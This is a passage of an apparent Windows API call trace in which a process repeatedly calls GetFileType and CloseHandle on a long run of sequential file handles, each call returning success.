(hObject=0x2948) returned 1 [0293.078] GetFileType (hFile=0x294c) returned 0x1 [0293.079] CloseHandle (hObject=0x294c) returned 1 [0293.080] GetFileType (hFile=0x2950) returned 0x1 [0293.080] CloseHandle (hObject=0x2950) returned 1 [0293.081] GetFileType (hFile=0x2954) returned 0x1 [0293.082] CloseHandle (hObject=0x2954) returned 1 [0293.082] GetFileType (hFile=0x2958) returned 0x1 [0293.083] CloseHandle (hObject=0x2958) returned 1 [0293.084] GetFileType (hFile=0x295c) returned 0x1 [0293.085] CloseHandle (hObject=0x295c) returned 1 [0293.086] GetFileType (hFile=0x2960) returned 0x1 [0293.087] CloseHandle (hObject=0x2960) returned 1 [0293.087] GetFileType (hFile=0x2964) returned 0x1 [0293.088] CloseHandle (hObject=0x2964) returned 1 [0293.088] GetFileType (hFile=0x2968) returned 0x1 [0293.089] CloseHandle (hObject=0x2968) returned 1 [0293.090] GetFileType (hFile=0x296c) returned 0x1 [0293.091] CloseHandle (hObject=0x296c) returned 1 [0293.092] GetFileType (hFile=0x2970) returned 0x1 [0293.093] CloseHandle (hObject=0x2970) returned 1 [0293.093] GetFileType (hFile=0x2974) returned 0x1 [0293.094] CloseHandle (hObject=0x2974) returned 1 [0293.094] GetFileType (hFile=0x2978) returned 0x1 [0293.095] CloseHandle (hObject=0x2978) returned 1 [0293.099] GetFileType (hFile=0x2944) returned 0x1 [0293.099] CloseHandle (hObject=0x2944) returned 1 [0293.100] GetFileType (hFile=0x297c) returned 0x1 [0293.101] CloseHandle (hObject=0x297c) returned 1 [0293.102] GetFileType (hFile=0x2980) returned 0x1 [0293.103] CloseHandle (hObject=0x2980) returned 1 [0293.103] GetFileType (hFile=0x2984) returned 0x1 [0293.104] CloseHandle (hObject=0x2984) returned 1 [0293.105] GetFileType (hFile=0x2988) returned 0x1 [0293.105] CloseHandle (hObject=0x2988) returned 1 [0293.107] GetFileType (hFile=0x298c) returned 0x1 [0293.108] CloseHandle (hObject=0x298c) returned 1 [0293.108] GetFileType (hFile=0x2990) returned 0x1 [0293.109] CloseHandle (hObject=0x2990) returned 1 [0293.110] GetFileType (hFile=0x2998) returned 0x1 [0293.111] CloseHandle (hObject=0x2998) returned 1 [0293.111] GetFileType (hFile=0x299c) returned 0x1 [0293.112] CloseHandle (hObject=0x299c) returned 1 [0293.113] GetFileType (hFile=0x29a0) returned 0x1 [0293.114] CloseHandle (hObject=0x29a0) returned 1 [0293.114] GetFileType (hFile=0x29a4) returned 0x1 [0293.115] CloseHandle (hObject=0x29a4) returned 1 [0293.175] GetFileType (hFile=0x29a8) returned 0x1 [0293.176] CloseHandle (hObject=0x29a8) returned 1 [0293.177] GetFileType (hFile=0x29ac) returned 0x1 [0293.178] CloseHandle (hObject=0x29ac) returned 1 [0293.178] GetFileType (hFile=0x29b0) returned 0x1 [0293.179] CloseHandle (hObject=0x29b0) returned 1 [0293.180] GetFileType (hFile=0x29b4) returned 0x1 [0293.180] CloseHandle (hObject=0x29b4) returned 1 [0293.181] GetFileType (hFile=0x29b8) returned 0x1 [0293.182] CloseHandle (hObject=0x29b8) returned 1 [0293.183] GetFileType (hFile=0x29bc) returned 0x1 [0293.184] CloseHandle (hObject=0x29bc) returned 1 [0293.186] GetFileType (hFile=0x2994) returned 0x1 [0293.187] CloseHandle (hObject=0x2994) returned 1 [0293.188] GetFileType (hFile=0x29c0) returned 0x1 [0293.188] CloseHandle (hObject=0x29c0) returned 1 [0293.189] GetFileType (hFile=0x29c4) returned 0x1 [0293.190] CloseHandle (hObject=0x29c4) returned 1 [0293.191] GetFileType (hFile=0x29c8) returned 0x1 [0293.191] CloseHandle (hObject=0x29c8) returned 1 [0293.192] GetFileType (hFile=0x29cc) returned 0x1 [0293.192] CloseHandle (hObject=0x29cc) returned 1 [0293.193] GetFileType (hFile=0x29d0) returned 0x1 [0293.195] CloseHandle (hObject=0x29d0) returned 1 [0293.196] GetFileType (hFile=0x29d4) returned 0x1 [0293.197] CloseHandle (hObject=0x29d4) returned 1 [0293.198] GetFileType (hFile=0x29d8) returned 0x1 [0293.198] CloseHandle (hObject=0x29d8) returned 1 [0293.199] GetFileType (hFile=0x29dc) returned 0x1 [0293.200] CloseHandle (hObject=0x29dc) returned 1 [0293.201] GetFileType (hFile=0x29e4) returned 0x1 [0293.202] CloseHandle (hObject=0x29e4) returned 1 [0293.203] GetFileType (hFile=0x29e8) returned 0x1 [0293.204] CloseHandle (hObject=0x29e8) returned 1 [0293.205] GetFileType (hFile=0x29ec) returned 0x1 [0293.205] CloseHandle (hObject=0x29ec) returned 1 [0293.206] GetFileType (hFile=0x29f0) returned 0x1 [0293.207] CloseHandle (hObject=0x29f0) returned 1 [0293.208] GetFileType (hFile=0x29f4) returned 0x1 [0293.208] CloseHandle (hObject=0x29f4) returned 1 [0293.210] GetFileType (hFile=0x29f8) returned 0x1 [0293.210] CloseHandle (hObject=0x29f8) returned 1 [0293.211] GetFileType (hFile=0x29fc) returned 0x1 [0293.212] CloseHandle (hObject=0x29fc) returned 1 [0293.213] GetFileType (hFile=0x2a00) returned 0x1 [0293.213] CloseHandle (hObject=0x2a00) returned 1 [0293.214] GetFileType (hFile=0x2a04) returned 0x1 [0293.215] CloseHandle (hObject=0x2a04) returned 1 [0293.217] GetFileType (hFile=0x29e0) returned 0x1 [0293.218] CloseHandle (hObject=0x29e0) returned 1 [0293.219] GetFileType (hFile=0x2a08) returned 0x1 [0293.220] CloseHandle (hObject=0x2a08) returned 1 [0293.221] GetFileType (hFile=0x2a0c) returned 0x1 [0293.221] CloseHandle (hObject=0x2a0c) returned 1 [0293.222] GetFileType (hFile=0x2a10) returned 0x1 [0293.223] CloseHandle (hObject=0x2a10) returned 1 [0293.223] GetFileType (hFile=0x2a14) returned 0x1 [0293.224] CloseHandle (hObject=0x2a14) returned 1 [0293.225] GetFileType (hFile=0x2a18) returned 0x1 [0293.225] CloseHandle (hObject=0x2a18) returned 1 [0293.226] GetFileType (hFile=0x2a1c) returned 0x1 [0293.226] CloseHandle (hObject=0x2a1c) returned 1 [0293.229] GetFileType (hFile=0x2a20) returned 0x1 [0293.229] CloseHandle (hObject=0x2a20) returned 1 [0293.230] GetFileType (hFile=0x2a24) returned 0x1 [0293.230] CloseHandle (hObject=0x2a24) returned 1 [0293.231] GetFileType (hFile=0x2a28) returned 0x1 [0293.232] CloseHandle (hObject=0x2a28) returned 1 [0293.232] GetFileType (hFile=0x2a2c) returned 0x1 [0293.233] CloseHandle (hObject=0x2a2c) returned 1 [0293.233] GetFileType (hFile=0x2a30) returned 0x1 [0293.234] CloseHandle (hObject=0x2a30) returned 1 [0293.236] GetFileType (hFile=0x2a38) returned 0x1 [0293.237] CloseHandle (hObject=0x2a38) returned 1 [0293.238] GetFileType (hFile=0x2a3c) returned 0x1 [0293.238] CloseHandle (hObject=0x2a3c) returned 1 [0293.240] GetFileType (hFile=0x2a40) returned 0x1 [0293.241] CloseHandle (hObject=0x2a40) returned 1 [0293.241] GetFileType (hFile=0x2a44) returned 0x1 [0293.242] CloseHandle (hObject=0x2a44) returned 1 [0293.245] GetFileType (hFile=0x2a48) returned 0x1 [0293.245] CloseHandle (hObject=0x2a48) returned 1 [0293.417] GetFileType (hFile=0x2a34) returned 0x1 [0293.418] CloseHandle (hObject=0x2a34) returned 1 [0293.424] GetFileType (hFile=0x2a50) returned 0x1 [0293.425] CloseHandle (hObject=0x2a50) returned 1 [0293.426] GetFileType (hFile=0x2a54) returned 0x1 [0293.427] CloseHandle (hObject=0x2a54) returned 1 [0293.430] GetFileType (hFile=0x2a58) returned 0x1 [0293.431] CloseHandle (hObject=0x2a58) returned 1 [0293.432] GetFileType (hFile=0x2a5c) returned 0x1 [0293.433] CloseHandle (hObject=0x2a5c) returned 1 [0293.456] GetFileType (hFile=0x2a60) returned 0x1 [0293.457] CloseHandle (hObject=0x2a60) returned 1 [0293.458] GetFileType (hFile=0x2a64) returned 0x1 [0293.460] CloseHandle (hObject=0x2a64) returned 1 [0293.464] GetFileType (hFile=0x2a68) returned 0x1 [0293.464] CloseHandle (hObject=0x2a68) returned 1 [0293.465] GetFileType (hFile=0x2a6c) returned 0x1 [0293.466] CloseHandle (hObject=0x2a6c) returned 1 [0293.467] GetFileType (hFile=0x2a4c) returned 0x1 [0293.468] CloseHandle (hObject=0x2a4c) returned 1 [0293.469] GetFileType (hFile=0x2a70) returned 0x1 [0293.470] CloseHandle (hObject=0x2a70) returned 1 [0293.470] GetFileType (hFile=0x2a74) returned 0x1 [0293.471] CloseHandle (hObject=0x2a74) returned 1 [0293.472] GetFileType (hFile=0x2a78) returned 0x1 [0293.473] CloseHandle (hObject=0x2a78) returned 1 [0293.473] GetFileType (hFile=0x2a7c) returned 0x1 [0293.474] CloseHandle (hObject=0x2a7c) returned 1 [0293.475] GetFileType (hFile=0x2a80) returned 0x1 [0293.476] CloseHandle (hObject=0x2a80) returned 1 [0293.477] GetFileType (hFile=0x2a84) returned 0x1 [0293.478] CloseHandle (hObject=0x2a84) returned 1 [0293.478] GetFileType (hFile=0x2a88) returned 0x1 [0293.479] CloseHandle (hObject=0x2a88) returned 1 [0293.480] GetFileType (hFile=0x2a8c) returned 0x1 [0293.481] CloseHandle (hObject=0x2a8c) returned 1 [0293.482] GetFileType (hFile=0x2a90) returned 0x1 [0293.483] CloseHandle (hObject=0x2a90) returned 1 [0293.484] GetFileType (hFile=0x2a98) returned 0x1 [0293.485] CloseHandle (hObject=0x2a98) returned 1 [0293.485] GetFileType (hFile=0x2a9c) returned 0x1 [0293.486] CloseHandle (hObject=0x2a9c) returned 1 [0293.489] GetFileType (hFile=0x2aa0) returned 0x1 [0293.490] CloseHandle (hObject=0x2aa0) returned 1 [0293.490] GetFileType (hFile=0x2aa4) returned 0x1 [0293.491] CloseHandle (hObject=0x2aa4) returned 1 [0293.492] GetFileType (hFile=0x2aa8) returned 0x1 [0293.493] CloseHandle (hObject=0x2aa8) returned 1 [0293.494] GetFileType (hFile=0x2aac) returned 0x1 [0293.494] CloseHandle (hObject=0x2aac) returned 1 [0293.495] GetFileType (hFile=0x2ab0) returned 0x1 [0293.496] CloseHandle (hObject=0x2ab0) returned 1 [0293.498] GetFileType (hFile=0x2a94) returned 0x1 [0293.499] CloseHandle (hObject=0x2a94) returned 1 [0293.501] GetFileType (hFile=0x2ab4) returned 0x1 [0293.502] CloseHandle (hObject=0x2ab4) returned 1 [0293.502] GetFileType (hFile=0x2ab8) returned 0x1 [0293.503] CloseHandle (hObject=0x2ab8) returned 1 [0293.504] GetFileType (hFile=0x2abc) returned 0x1 [0293.504] CloseHandle (hObject=0x2abc) returned 1 [0293.506] GetFileType (hFile=0x2ac0) returned 0x1 [0293.507] CloseHandle (hObject=0x2ac0) returned 1 [0293.508] GetFileType (hFile=0x2ac4) returned 0x1 [0293.508] CloseHandle (hObject=0x2ac4) returned 1 [0293.509] GetFileType (hFile=0x2ac8) returned 0x1 [0293.509] CloseHandle (hObject=0x2ac8) returned 1 [0293.510] GetFileType (hFile=0x2acc) returned 0x1 [0293.511] CloseHandle (hObject=0x2acc) returned 1 [0293.512] GetFileType (hFile=0x2ad0) returned 0x1 [0293.513] CloseHandle (hObject=0x2ad0) returned 1 [0293.514] GetFileType (hFile=0x2ad8) returned 0x1 [0293.515] CloseHandle (hObject=0x2ad8) returned 1 [0293.515] GetFileType (hFile=0x2adc) returned 0x1 [0293.516] CloseHandle (hObject=0x2adc) returned 1 [0293.516] GetFileType (hFile=0x2ae0) returned 0x1 [0293.517] CloseHandle (hObject=0x2ae0) returned 1 [0293.518] GetFileType (hFile=0x2ae4) returned 0x1 [0293.519] CloseHandle (hObject=0x2ae4) returned 1 [0293.519] GetFileType (hFile=0x2ae8) returned 0x1 [0293.520] CloseHandle (hObject=0x2ae8) returned 1 [0293.521] GetFileType (hFile=0x2aec) returned 0x1 [0293.522] CloseHandle (hObject=0x2aec) returned 1 [0293.522] GetFileType (hFile=0x2af0) returned 0x1 [0293.523] CloseHandle (hObject=0x2af0) returned 1 [0293.523] GetFileType (hFile=0x2af4) returned 0x1 [0293.524] CloseHandle (hObject=0x2af4) returned 1 [0293.525] GetFileType (hFile=0x2af8) returned 0x1 [0293.525] CloseHandle (hObject=0x2af8) returned 1 [0293.526] GetFileType (hFile=0x2afc) returned 0x1 [0293.527] CloseHandle (hObject=0x2afc) returned 1 [0293.532] GetFileType (hFile=0x2b00) returned 0x1 [0293.532] CloseHandle (hObject=0x2b00) returned 1 [0293.534] GetFileType (hFile=0x2ad4) returned 0x1 [0293.534] CloseHandle (hObject=0x2ad4) returned 1 [0293.563] GetFileType (hFile=0x2b08) returned 0x1 [0293.564] CloseHandle (hObject=0x2b08) returned 1 [0293.565] GetFileType (hFile=0x2b04) returned 0x1 [0293.566] CloseHandle (hObject=0x2b04) returned 1 [0293.584] GetFileType (hFile=0x2b10) returned 0x1 [0293.585] CloseHandle (hObject=0x2b10) returned 1 [0293.586] GetFileType (hFile=0x2b14) returned 0x1 [0293.586] CloseHandle (hObject=0x2b14) returned 1 [0293.652] GetFileType (hFile=0x2b18) returned 0x1 [0293.653] CloseHandle (hObject=0x2b18) returned 1 [0293.655] GetFileType (hFile=0x2b0c) returned 0x1 [0293.656] CloseHandle (hObject=0x2b0c) returned 1 [0293.658] GetFileType (hFile=0x2b1c) returned 0x1 [0293.659] CloseHandle (hObject=0x2b1c) returned 1 [0293.659] GetFileType (hFile=0x2b20) returned 0x1 [0293.660] CloseHandle (hObject=0x2b20) returned 1 [0293.661] GetFileType (hFile=0x2b24) returned 0x1 [0293.662] CloseHandle (hObject=0x2b24) returned 1 [0293.662] GetFileType (hFile=0x2b28) returned 0x1 [0293.663] CloseHandle (hObject=0x2b28) returned 1 [0293.664] GetFileType (hFile=0x2b2c) returned 0x1 [0293.665] CloseHandle (hObject=0x2b2c) returned 1 [0293.666] GetFileType (hFile=0x2b30) returned 0x1 [0293.666] CloseHandle (hObject=0x2b30) returned 1 [0293.667] GetFileType (hFile=0x2b34) returned 0x1 [0293.668] CloseHandle (hObject=0x2b34) returned 1 [0293.668] GetFileType (hFile=0x2b38) returned 0x1 [0293.669] CloseHandle (hObject=0x2b38) returned 1 [0293.670] GetFileType (hFile=0x2b3c) returned 0x1 [0293.670] CloseHandle (hObject=0x2b3c) returned 1 [0293.671] GetFileType (hFile=0x2b44) returned 0x1 [0293.672] CloseHandle (hObject=0x2b44) returned 1 [0293.673] GetFileType (hFile=0x2b48) returned 0x1 [0293.673] CloseHandle (hObject=0x2b48) returned 1 [0293.674] GetFileType (hFile=0x2b4c) returned 0x1 [0293.674] CloseHandle (hObject=0x2b4c) returned 1 [0293.688] GetFileType (hFile=0x2b40) returned 0x1 [0293.688] CloseHandle (hObject=0x2b40) returned 1 [0293.706] GetFileType (hFile=0x2b54) returned 0x1 [0293.707] CloseHandle (hObject=0x2b54) returned 1 [0293.708] GetFileType (hFile=0x2b58) returned 0x1 [0293.708] CloseHandle (hObject=0x2b58) returned 1 [0293.709] GetFileType (hFile=0x2b5c) returned 0x1 [0293.710] CloseHandle (hObject=0x2b5c) returned 1 [0293.710] GetFileType (hFile=0x2b60) returned 0x1 [0293.711] CloseHandle (hObject=0x2b60) returned 1 [0293.712] GetFileType (hFile=0x2b64) returned 0x1 [0293.713] CloseHandle (hObject=0x2b64) returned 1 [0293.714] GetFileType (hFile=0x2b68) returned 0x1 [0293.714] CloseHandle (hObject=0x2b68) returned 1 [0293.751] GetFileType (hFile=0x2b50) returned 0x1 [0293.752] CloseHandle (hObject=0x2b50) returned 1 [0293.753] GetFileType (hFile=0x2b6c) returned 0x1 [0293.754] CloseHandle (hObject=0x2b6c) returned 1 [0293.758] GetFileType (hFile=0x2b70) returned 0x1 [0293.759] CloseHandle (hObject=0x2b70) returned 1 [0293.760] GetFileType (hFile=0x2b74) returned 0x1 [0293.761] CloseHandle (hObject=0x2b74) returned 1 [0293.776] GetFileType (hFile=0x2b78) returned 0x1 [0293.776] CloseHandle (hObject=0x2b78) returned 1 [0293.777] GetFileType (hFile=0x2b80) returned 0x1 [0293.778] CloseHandle (hObject=0x2b80) returned 1 [0293.780] GetFileType (hFile=0x2b7c) returned 0x1 [0293.780] CloseHandle (hObject=0x2b7c) returned 1 [0293.781] GetFileType (hFile=0x2b84) returned 0x1 [0293.781] CloseHandle (hObject=0x2b84) returned 1 [0293.782] GetFileType (hFile=0x2b88) returned 0x1 [0293.783] CloseHandle (hObject=0x2b88) returned 1 [0293.783] GetFileType (hFile=0x2b8c) returned 0x1 [0293.784] CloseHandle (hObject=0x2b8c) returned 1 [0293.785] GetFileType (hFile=0x2b90) returned 0x1 [0293.785] CloseHandle (hObject=0x2b90) returned 1 [0293.786] GetFileType (hFile=0x2b94) returned 0x1 [0293.786] CloseHandle (hObject=0x2b94) returned 1 [0293.787] GetFileType (hFile=0x2b98) returned 0x1 [0293.788] CloseHandle (hObject=0x2b98) returned 1 [0293.788] GetFileType (hFile=0x2b9c) returned 0x1 [0293.789] CloseHandle (hObject=0x2b9c) returned 1 [0293.790] GetFileType (hFile=0x2ba0) returned 0x1 [0293.790] CloseHandle (hObject=0x2ba0) returned 1 [0293.791] GetFileType (hFile=0x2ba4) returned 0x1 [0293.791] CloseHandle (hObject=0x2ba4) returned 1 [0293.792] GetFileType (hFile=0x2ba8) returned 0x1 [0293.793] CloseHandle (hObject=0x2ba8) returned 1 [0293.794] GetFileType (hFile=0x2bac) returned 0x1 [0293.794] CloseHandle (hObject=0x2bac) returned 1 [0293.795] GetFileType (hFile=0x2bb0) returned 0x1 [0293.796] CloseHandle (hObject=0x2bb0) returned 1 [0293.797] GetFileType (hFile=0x2bb8) returned 0x1 [0293.798] CloseHandle (hObject=0x2bb8) returned 1 [0293.798] GetFileType (hFile=0x2bbc) returned 0x1 [0293.799] CloseHandle (hObject=0x2bbc) returned 1 [0293.799] GetFileType (hFile=0x2bc0) returned 0x1 [0293.800] CloseHandle (hObject=0x2bc0) returned 1 [0293.801] GetFileType (hFile=0x2bc4) returned 0x1 [0293.801] CloseHandle (hObject=0x2bc4) returned 1 [0293.802] GetFileType (hFile=0x2bc8) returned 0x1 [0293.803] CloseHandle (hObject=0x2bc8) returned 1 [0293.804] GetFileType (hFile=0x2bcc) returned 0x1 [0293.805] CloseHandle (hObject=0x2bcc) returned 1 [0293.805] GetFileType (hFile=0x2bd0) returned 0x1 [0293.806] CloseHandle (hObject=0x2bd0) returned 1 [0293.806] GetFileType (hFile=0x2bd4) returned 0x1 [0293.808] CloseHandle (hObject=0x2bd4) returned 1 [0293.809] GetFileType (hFile=0x2bd8) returned 0x1 [0293.810] CloseHandle (hObject=0x2bd8) returned 1 [0293.810] GetFileType (hFile=0x2bdc) returned 0x1 [0293.811] CloseHandle (hObject=0x2bdc) returned 1 [0293.811] GetFileType (hFile=0x2be0) returned 0x1 [0293.812] CloseHandle (hObject=0x2be0) returned 1 [0293.815] GetFileType (hFile=0x2bb4) returned 0x1 [0293.815] CloseHandle (hObject=0x2bb4) returned 1 [0293.816] GetFileType (hFile=0x2be4) returned 0x1 [0293.817] CloseHandle (hObject=0x2be4) returned 1 [0293.818] GetFileType (hFile=0x2be8) returned 0x1 [0293.818] CloseHandle (hObject=0x2be8) returned 1 [0293.819] GetFileType (hFile=0x2bec) returned 0x1 [0293.819] CloseHandle (hObject=0x2bec) returned 1 [0293.820] GetFileType (hFile=0x2bf0) returned 0x1 [0293.820] CloseHandle (hObject=0x2bf0) returned 1 [0293.822] GetFileType (hFile=0x2bf4) returned 0x1 [0293.822] CloseHandle (hObject=0x2bf4) returned 1 [0293.823] GetFileType (hFile=0x2bf8) returned 0x1 [0293.823] CloseHandle (hObject=0x2bf8) returned 1 [0293.824] GetFileType (hFile=0x2bfc) returned 0x1 [0293.825] CloseHandle (hObject=0x2bfc) returned 1 [0293.826] GetFileType (hFile=0x2c08) returned 0x1 [0293.827] CloseHandle (hObject=0x2c08) returned 1 [0293.827] GetFileType (hFile=0x2c0c) returned 0x1 [0293.828] CloseHandle (hObject=0x2c0c) returned 1 [0293.879] GetFileType (hFile=0x2c04) returned 0x1 [0293.880] CloseHandle (hObject=0x2c04) returned 1 [0293.881] GetFileType (hFile=0x2c10) returned 0x1 [0293.882] CloseHandle (hObject=0x2c10) returned 1 [0293.883] GetFileType (hFile=0x2c14) returned 0x1 [0293.883] CloseHandle (hObject=0x2c14) returned 1 [0293.930] GetFileType (hFile=0x2c1c) returned 0x1 [0293.931] CloseHandle (hObject=0x2c1c) returned 1 [0293.932] GetFileType (hFile=0x2c20) returned 0x1 [0293.933] CloseHandle (hObject=0x2c20) returned 1 [0293.968] GetFileType (hFile=0x2c24) returned 0x1 [0293.969] CloseHandle (hObject=0x2c24) returned 1 [0293.970] GetFileType (hFile=0x2c18) returned 0x1 [0293.971] CloseHandle (hObject=0x2c18) returned 1 [0293.974] GetFileType (hFile=0x2c28) returned 0x1 [0293.975] CloseHandle (hObject=0x2c28) returned 1 [0293.976] GetFileType (hFile=0x2c2c) returned 0x1 [0293.976] CloseHandle (hObject=0x2c2c) returned 1 [0293.977] GetFileType (hFile=0x2c30) returned 0x1 [0293.978] CloseHandle (hObject=0x2c30) returned 1 [0293.978] GetFileType (hFile=0x2c34) returned 0x1 [0293.979] CloseHandle (hObject=0x2c34) returned 1 [0293.980] GetFileType (hFile=0x2c38) returned 0x1 [0293.981] CloseHandle (hObject=0x2c38) returned 1 [0293.982] GetFileType (hFile=0x2c3c) returned 0x1 [0293.982] CloseHandle (hObject=0x2c3c) returned 1 [0293.984] GetFileType (hFile=0x2c44) returned 0x1 [0293.984] CloseHandle (hObject=0x2c44) returned 1 [0293.985] GetFileType (hFile=0x2c48) returned 0x1 [0293.986] CloseHandle (hObject=0x2c48) returned 1 [0293.987] GetFileType (hFile=0x2c4c) returned 0x1 [0293.987] CloseHandle (hObject=0x2c4c) returned 1 [0293.988] GetFileType (hFile=0x2c50) returned 0x1 [0293.989] CloseHandle (hObject=0x2c50) returned 1 [0293.989] GetFileType (hFile=0x2c54) returned 0x1 [0293.990] CloseHandle (hObject=0x2c54) returned 1 [0293.991] GetFileType (hFile=0x2c58) returned 0x1 [0293.992] CloseHandle (hObject=0x2c58) returned 1 [0293.993] GetFileType (hFile=0x2c5c) returned 0x1 [0293.993] CloseHandle (hObject=0x2c5c) returned 1 [0293.994] GetFileType (hFile=0x2c60) returned 0x1 [0293.994] CloseHandle (hObject=0x2c60) returned 1 [0293.995] GetFileType (hFile=0x2c64) returned 0x1 [0293.995] CloseHandle (hObject=0x2c64) returned 1 [0294.003] GetFileType (hFile=0x2c40) returned 0x1 [0294.004] CloseHandle (hObject=0x2c40) returned 1 [0294.005] GetFileType (hFile=0x2c68) returned 0x1 [0294.006] CloseHandle (hObject=0x2c68) returned 1 [0294.006] GetFileType (hFile=0x2c6c) returned 0x1 [0294.007] CloseHandle (hObject=0x2c6c) returned 1 [0294.008] GetFileType (hFile=0x2c70) returned 0x1 [0294.008] CloseHandle (hObject=0x2c70) returned 1 [0294.009] GetFileType (hFile=0x2c74) returned 0x1 [0294.010] CloseHandle (hObject=0x2c74) returned 1 [0294.011] GetFileType (hFile=0x2c78) returned 0x1 [0294.012] CloseHandle (hObject=0x2c78) returned 1 [0294.013] GetFileType (hFile=0x2c7c) returned 0x1 [0294.013] CloseHandle (hObject=0x2c7c) returned 1 [0294.014] GetFileType (hFile=0x2c84) returned 0x1 [0294.015] CloseHandle (hObject=0x2c84) returned 1 [0294.016] GetFileType (hFile=0x2c88) returned 0x1 [0294.016] CloseHandle (hObject=0x2c88) returned 1 [0294.017] GetFileType (hFile=0x2c8c) returned 0x1 [0294.018] CloseHandle (hObject=0x2c8c) returned 1 [0294.019] GetFileType (hFile=0x2c90) returned 0x1 [0294.019] CloseHandle (hObject=0x2c90) returned 1 [0294.020] GetFileType (hFile=0x2c94) returned 0x1 [0294.021] CloseHandle (hObject=0x2c94) returned 1 [0294.022] GetFileType (hFile=0x2c98) returned 0x1 [0294.023] CloseHandle (hObject=0x2c98) returned 1 [0294.023] GetFileType (hFile=0x2c9c) returned 0x1 [0294.024] CloseHandle (hObject=0x2c9c) returned 1 [0294.024] GetFileType (hFile=0x2ca0) returned 0x1 [0294.025] CloseHandle (hObject=0x2ca0) returned 1 [0294.025] GetFileType (hFile=0x2ca4) returned 0x1 [0294.026] CloseHandle (hObject=0x2ca4) returned 1 [0294.027] GetFileType (hFile=0x2ca8) returned 0x1 [0294.028] CloseHandle (hObject=0x2ca8) returned 1 [0294.028] GetFileType (hFile=0x2cac) returned 0x1 [0294.029] CloseHandle (hObject=0x2cac) returned 1 [0294.029] GetFileType (hFile=0x2cb0) returned 0x1 [0294.030] CloseHandle (hObject=0x2cb0) returned 1 [0294.031] GetFileType (hFile=0x2c80) returned 0x1 [0294.032] CloseHandle (hObject=0x2c80) returned 1 [0294.033] GetFileType (hFile=0x2cb4) returned 0x1 [0294.034] CloseHandle (hObject=0x2cb4) returned 1 [0294.084] GetFileType (hFile=0x2cbc) returned 0x1 [0294.085] CloseHandle (hObject=0x2cbc) returned 1 [0294.086] GetFileType (hFile=0x2cc0) returned 0x1 [0294.087] CloseHandle (hObject=0x2cc0) returned 1 [0294.087] GetFileType (hFile=0x2cc4) returned 0x1 [0294.088] CloseHandle (hObject=0x2cc4) returned 1 [0294.089] GetFileType (hFile=0x2cc8) returned 0x1 [0294.089] CloseHandle (hObject=0x2cc8) returned 1 [0294.091] GetFileType (hFile=0x2cb8) returned 0x1 [0294.093] CloseHandle (hObject=0x2cb8) returned 1 [0294.094] GetFileType (hFile=0x2ccc) returned 0x1 [0294.094] CloseHandle (hObject=0x2ccc) returned 1 [0294.095] GetFileType (hFile=0x2cd0) returned 0x1 [0294.096] CloseHandle (hObject=0x2cd0) returned 1 [0294.141] GetFileType (hFile=0x2cd4) returned 0x1 [0294.143] CloseHandle (hObject=0x2cd4) returned 1 [0294.144] GetFileType (hFile=0x2cdc) returned 0x1 [0294.145] CloseHandle (hObject=0x2cdc) returned 1 [0294.145] GetFileType (hFile=0x2ce0) returned 0x1 [0294.146] CloseHandle (hObject=0x2ce0) returned 1 [0294.147] GetFileType (hFile=0x2ce4) returned 0x1 [0294.148] CloseHandle (hObject=0x2ce4) returned 1 [0294.149] GetFileType (hFile=0x2ce8) returned 0x1 [0294.150] CloseHandle (hObject=0x2ce8) returned 1 [0294.151] GetFileType (hFile=0x2cec) returned 0x1 [0294.152] CloseHandle (hObject=0x2cec) returned 1 [0294.152] GetFileType (hFile=0x2cf0) returned 0x1 [0294.153] CloseHandle (hObject=0x2cf0) returned 1 [0294.154] GetFileType (hFile=0x2cd8) returned 0x1 [0294.155] CloseHandle (hObject=0x2cd8) returned 1 [0294.156] GetFileType (hFile=0x2cf4) returned 0x1 [0294.157] CloseHandle (hObject=0x2cf4) returned 1 [0294.158] GetFileType (hFile=0x2cf8) returned 0x1 [0294.158] CloseHandle (hObject=0x2cf8) returned 1 [0294.159] GetFileType (hFile=0x2cfc) returned 0x1 [0294.160] CloseHandle (hObject=0x2cfc) returned 1 [0294.161] GetFileType (hFile=0x2d00) returned 0x1 [0294.161] CloseHandle (hObject=0x2d00) returned 1 [0294.163] GetFileType (hFile=0x2d04) returned 0x1 [0294.163] CloseHandle (hObject=0x2d04) returned 1 [0294.164] GetFileType (hFile=0x2d08) returned 0x1 [0294.164] CloseHandle (hObject=0x2d08) returned 1 [0294.165] GetFileType (hFile=0x2d0c) returned 0x1 [0294.166] CloseHandle (hObject=0x2d0c) returned 1 [0294.166] GetFileType (hFile=0x2d10) returned 0x1 [0294.167] CloseHandle (hObject=0x2d10) returned 1 [0294.168] GetFileType (hFile=0x2d14) returned 0x1 [0294.169] CloseHandle (hObject=0x2d14) returned 1 [0294.170] GetFileType (hFile=0x2d1c) returned 0x1 [0294.171] CloseHandle (hObject=0x2d1c) returned 1 [0294.171] GetFileType (hFile=0x2d20) returned 0x1 [0294.172] CloseHandle (hObject=0x2d20) returned 1 [0294.173] GetFileType (hFile=0x2d24) returned 0x1 [0294.174] CloseHandle (hObject=0x2d24) returned 1 [0294.175] GetFileType (hFile=0x2d28) returned 0x1 [0294.175] CloseHandle (hObject=0x2d28) returned 1 [0294.176] GetFileType (hFile=0x2d2c) returned 0x1 [0294.176] CloseHandle (hObject=0x2d2c) returned 1 [0294.177] GetFileType (hFile=0x2d30) returned 0x1 [0294.177] CloseHandle (hObject=0x2d30) returned 1 [0294.178] GetFileType (hFile=0x2d34) returned 0x1 [0294.179] CloseHandle (hObject=0x2d34) returned 1 [0294.180] GetFileType (hFile=0x2d38) returned 0x1 [0294.181] CloseHandle (hObject=0x2d38) returned 1 [0294.181] GetFileType (hFile=0x2d3c) returned 0x1 [0294.182] CloseHandle (hObject=0x2d3c) returned 1 [0294.182] GetFileType (hFile=0x2d40) returned 0x1 [0294.183] CloseHandle (hObject=0x2d40) returned 1 [0294.184] GetFileType (hFile=0x2d44) returned 0x1 [0294.185] CloseHandle (hObject=0x2d44) returned 1 [0294.186] GetFileType (hFile=0x2d18) returned 0x1 [0294.187] CloseHandle (hObject=0x2d18) returned 1 [0294.187] GetFileType (hFile=0x2d48) returned 0x1 [0294.188] CloseHandle (hObject=0x2d48) returned 1 [0294.188] GetFileType (hFile=0x2d4c) returned 0x1 [0294.189] CloseHandle (hObject=0x2d4c) returned 1 [0294.189] GetFileType (hFile=0x2d50) returned 0x1 [0294.190] CloseHandle (hObject=0x2d50) returned 1 [0294.191] GetFileType (hFile=0x2d54) returned 0x1 [0294.192] CloseHandle (hObject=0x2d54) returned 1 [0294.192] GetFileType (hFile=0x2d58) returned 0x1 [0294.193] CloseHandle (hObject=0x2d58) returned 1 [0294.193] GetFileType (hFile=0x2d5c) returned 